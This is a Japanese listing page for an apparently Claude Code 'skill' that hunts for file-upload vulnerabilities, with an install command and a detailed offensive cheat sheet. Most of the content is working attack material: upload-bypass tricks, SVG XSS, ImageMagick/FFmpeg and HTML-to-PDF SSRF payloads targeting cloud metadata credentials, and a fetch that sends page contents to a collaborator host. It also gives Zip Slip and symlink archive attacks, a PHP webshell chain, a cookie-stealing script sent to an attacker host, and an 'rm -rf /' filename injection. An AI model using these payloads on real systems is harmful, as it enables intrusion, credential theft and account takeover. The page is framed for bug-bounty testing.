mcpField
H
hunt-file-upload

hunt-file-upload

github.com/elementalsoulsセキュリティ5.3k287 回インストール今日更新
リポジトリ

hunt-file-upload について

hunt-file-uploadは、ファイルアップロードと関連する処理経路を評価するセキュリティテスト用スキルです。検証の回避手法を整理し、XSS、XXE、SSRF、アーカイブのパストラバーサルなどを調べます。

主な機能

  1. 01拡張子、MIME、マジックバイトの回避
  2. 02SVG、Office文書、アーカイブの攻撃検査
  3. 03ImageMagickとFFmpegの処理テスト
  4. 04HTMLからPDFへの変換におけるSSRF検査
  5. 05影響と再現性の検証

活用シーン

  1. 01アップロード検証とファイル形式処理のテスト
  2. 02画像・メディア処理におけるSSRFの評価
  3. 03アーカイブ展開時のパストラバーサル検査

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-file-upload

インストール後、Claude Code で/hunt-file-uploadを入力して読み込まれたか確認します。

詳細

9. ファイルアップロード

Content-Type のバイパス
filename=shell.php, Content-Type: image/jpeg  → server trusts Content-Type
filename=shell.phtml, shell.pHp, shell.php5   → extension variants
ファイルアップロードのバイパス手法(10 種類)
攻撃方法防止策
拡張子のバイパスshell.php.jpg、shell.pHp、shell.php5許可リストを使用し、最後の拡張子を抽出する
Null バイトshell.php%00.jpgNull バイトをサニタイズする
二重拡張子shell.jpg.php単一の拡張子のみを許可する
MIME の偽装.php の本文に Content-Type: image/jpeg を指定MIME ヘッダーではなくマジックバイトを検証する
マジックバイトの先頭付加PHP コードの先頭に GIF89a; を付加するヘッダーだけでなくファイル全体を解析する
ポリグロットJPEG と PHP の両方として有効画像ライブラリで処理し、無効なら拒否する
SVG JavaScript<svg onload="...">SVG をサニタイズするか、完全に禁止する
DOCX 内の XXEOffice ZIP 内の悪意ある XML外部エンティティを無効にする
ZIP スリップアーカイブ内の ../../../etc/passwd展開パスを検証する
ファイル名インジェクションファイル名に ; rm -rf / を含めるサニタイズし、UUID の名前を使用する
マジックバイトのリファレンス
種類16 進数
JPEGFF D8 FF
PNG89 50 4E 47 0D 0A 1A 0A
GIF47 49 46 38
PDF25 50 44 46
ZIP/DOCX/XLSX50 4B 03 04
SVG 経由の格納型 XSS
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

ImageMagick / FFmpeg の悪用

ImageMagick の SSRF / ファイル読み取り(ImageTragick 系および最新の亜種)
# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)
# MVG SSRF payload — fetches internal URL during processing
cat > /tmp/ssrf.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(http://169.254.169.254/latest/meta-data/iam/security-credentials/)'
pop graphic-context
EOF

# SVG SSRF (ImageMagick processes SVG remotely)
cat > /tmp/ssrf.svg << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/>
</svg>
EOF

# WebP/AVIF processing bugs (modern surface — CVE-2023-4863)
# Upload a crafted WebP file targeting libwebp heap overflow
# Use: https://github.com/mistymntncop/CVE-2023-4863 PoC
HLS プレイリスト経由の FFmpeg SSRF
# FFmpeg processes m3u8 playlists and fetches referenced segments
cat > /tmp/ssrf.m3u8 << 'EOF'
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://169.254.169.254/latest/meta-data/iam/security-credentials/
#EXT-X-ENDLIST
EOF

# Also works with concat demuxer
cat > /tmp/concat.txt << 'EOF'
ffconcat version 1.0
file 'http://COLLAB_HOST/ffmpeg-ssrf'
EOF

# Test: upload .m3u8 or video file to any video processing endpoint

ヘッドレス Chrome / PDF ジェネレーターの SSRF

HTML → PDF コンバーターへの攻撃
# Target: invoice generators, report exporters, screenshot services
# Inject HTML that causes headless Chrome to fetch internal resources

# SSRF via CSS import
PAYLOAD='<html><head><style>@import url("http://169.254.169.254/latest/meta-data/");</style></head><body>test</body></html>'

# SSRF via HTML iframe
PAYLOAD='<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'

# Local file read
PAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'

# JavaScript execution (if sandbox not enforced)
PAYLOAD='<html><body><script>
fetch("http://COLLAB_HOST/chrome-rce?d=" + encodeURIComponent(document.documentElement.innerHTML));
</script></body></html>'

# Test: submit HTML to any /generate-pdf, /export, /screenshot, /report endpoint
curl -s -X POST "https://$TARGET/api/generate-pdf" \
  -H "Content-Type: application/json" \
  -d "{\"html\": \"$PAYLOAD\"}"

アーカイブ展開攻撃(Zip Slip / シンボリックリンク)

# Zip Slip — path traversal via archive filenames
pip3 install evilarc
python3 evilarc.py shell.php -o unix -p "../../../var/www/html/" -d 5 -f /tmp/zipslip.zip

# Symlink attack — archive contains symlink to sensitive file
mkdir -p /tmp/sym_attack
ln -s /etc/passwd /tmp/sym_attack/innocent.txt
zip -ry /tmp/symlink.zip /tmp/sym_attack/

# TAR symlink attack
tar --create --file=/tmp/symlink.tar --dereference /tmp/sym_attack/

# Test: upload to any /import, /extract, /unzip endpoint
curl -s -X POST "https://$TARGET/api/import" \
  -F "file=@/tmp/zipslip.zip"

関連するスキルと攻撃チェーン

  • hunt-rce — 従来型の PHP/JSP/ASPX スタックで、直接アクセス可能なアップロードディレクトリ、またはデシリアライザーに渡される処理系が見つかると、ファイルアップロードは RCE に至る最も一般的な経路です。攻撃チェーンの例:ポリグロット GIF89a;<?php system($_GET['c']);?> でマジックバイト検査を回避し、.phtml 拡張子で許可リストを回避 → GET /uploads/shell.phtml?c=id → RCE。または、file_exists() を呼び出すシンクに攻撃者が制御するパスを指定して PHP phar:// をアップロード → PHP オブジェクトのデシリアライズ → RCE。
  • hunt-xxe — Office 形式(DOCX/XLSX/PPTX)、SVG、SOAP 添付ファイルは ZIP 内の XML です。アップロードと解析を行う機能はすべて、潜在的な XXE の候補です。攻撃チェーンの例:[Content_Types].xml または word/document.xml に、攻撃者が制御する DTD を指すパラメーターエンティティ DTD を含む DOCX をアップロード → ブラインド XXE による OOB ファイル読み取り → ドキュメントパーサー経由で /etc/passwd または web.config を外部へ流出させる。
  • hunt-xss — アップロード後に同一オリジンで配信される SVG、HTML ファイル、PDF は、格納型 XSS の温床です。攻撃チェーンの例:<script>fetch('//attacker/?'+document.cookie)</script> を含む SVG をアップロード → 被害者が添付ファイル app.target.com/uploads/x.svg を閲覧(同一オリジンで、サンドボックス化されていない) → Cookie の窃取 → セッションハイジャックによる ATO。
  • hunt-ssrf — 画像処理ライブラリ(ImageMagick、ffmpeg)は、アップロードされたファイル内のリモート URL を取得します。攻撃チェーンの例:<image xlink:href="http://169.254.169.254/latest/meta-data/iam/security-credentials/"> を含む SVG/MVG、または concat:http://internal/... を使う ffmpeg をアップロード → AWS IMDS への SSRF → クラウド認証情報の取得。ImageTragick の CVE-2016-3714 系は、古い環境で今も有効です。
  • security-arsenal — ファイルアップロードのバイパス手法を活用します。拡張子/MIME/マジックバイトのバイパス表(10 項目。二重拡張子、Null バイト、大文字小文字の違い、.phtml/.phar/.php5/.pht、ハンドラーを再有効化するための .htaccess アップロード、IIS での web.config アップロード)、SVG/MVG/SVGZ ペイロード、DOCX-XXE テンプレート、アーカイブ内の ZIP スリップによるパストラバーサル、ポリグロット生成ツール。
  • triage-validation — 再現性ゲートを適用します。ファイルのアップロードに成功しても、それが配信も実行も解析もされない場合、発見事項ではなく、書き込み専用のデータです。重大な RCE には、アップロードしたシェルから実際に whoami のラウンドトリップを確認する必要があります。格納型 XSS には、ファイルがディスク上に存在するだけでなく、被害者のブラウザーでポップアップが表示される必要があります。

コメント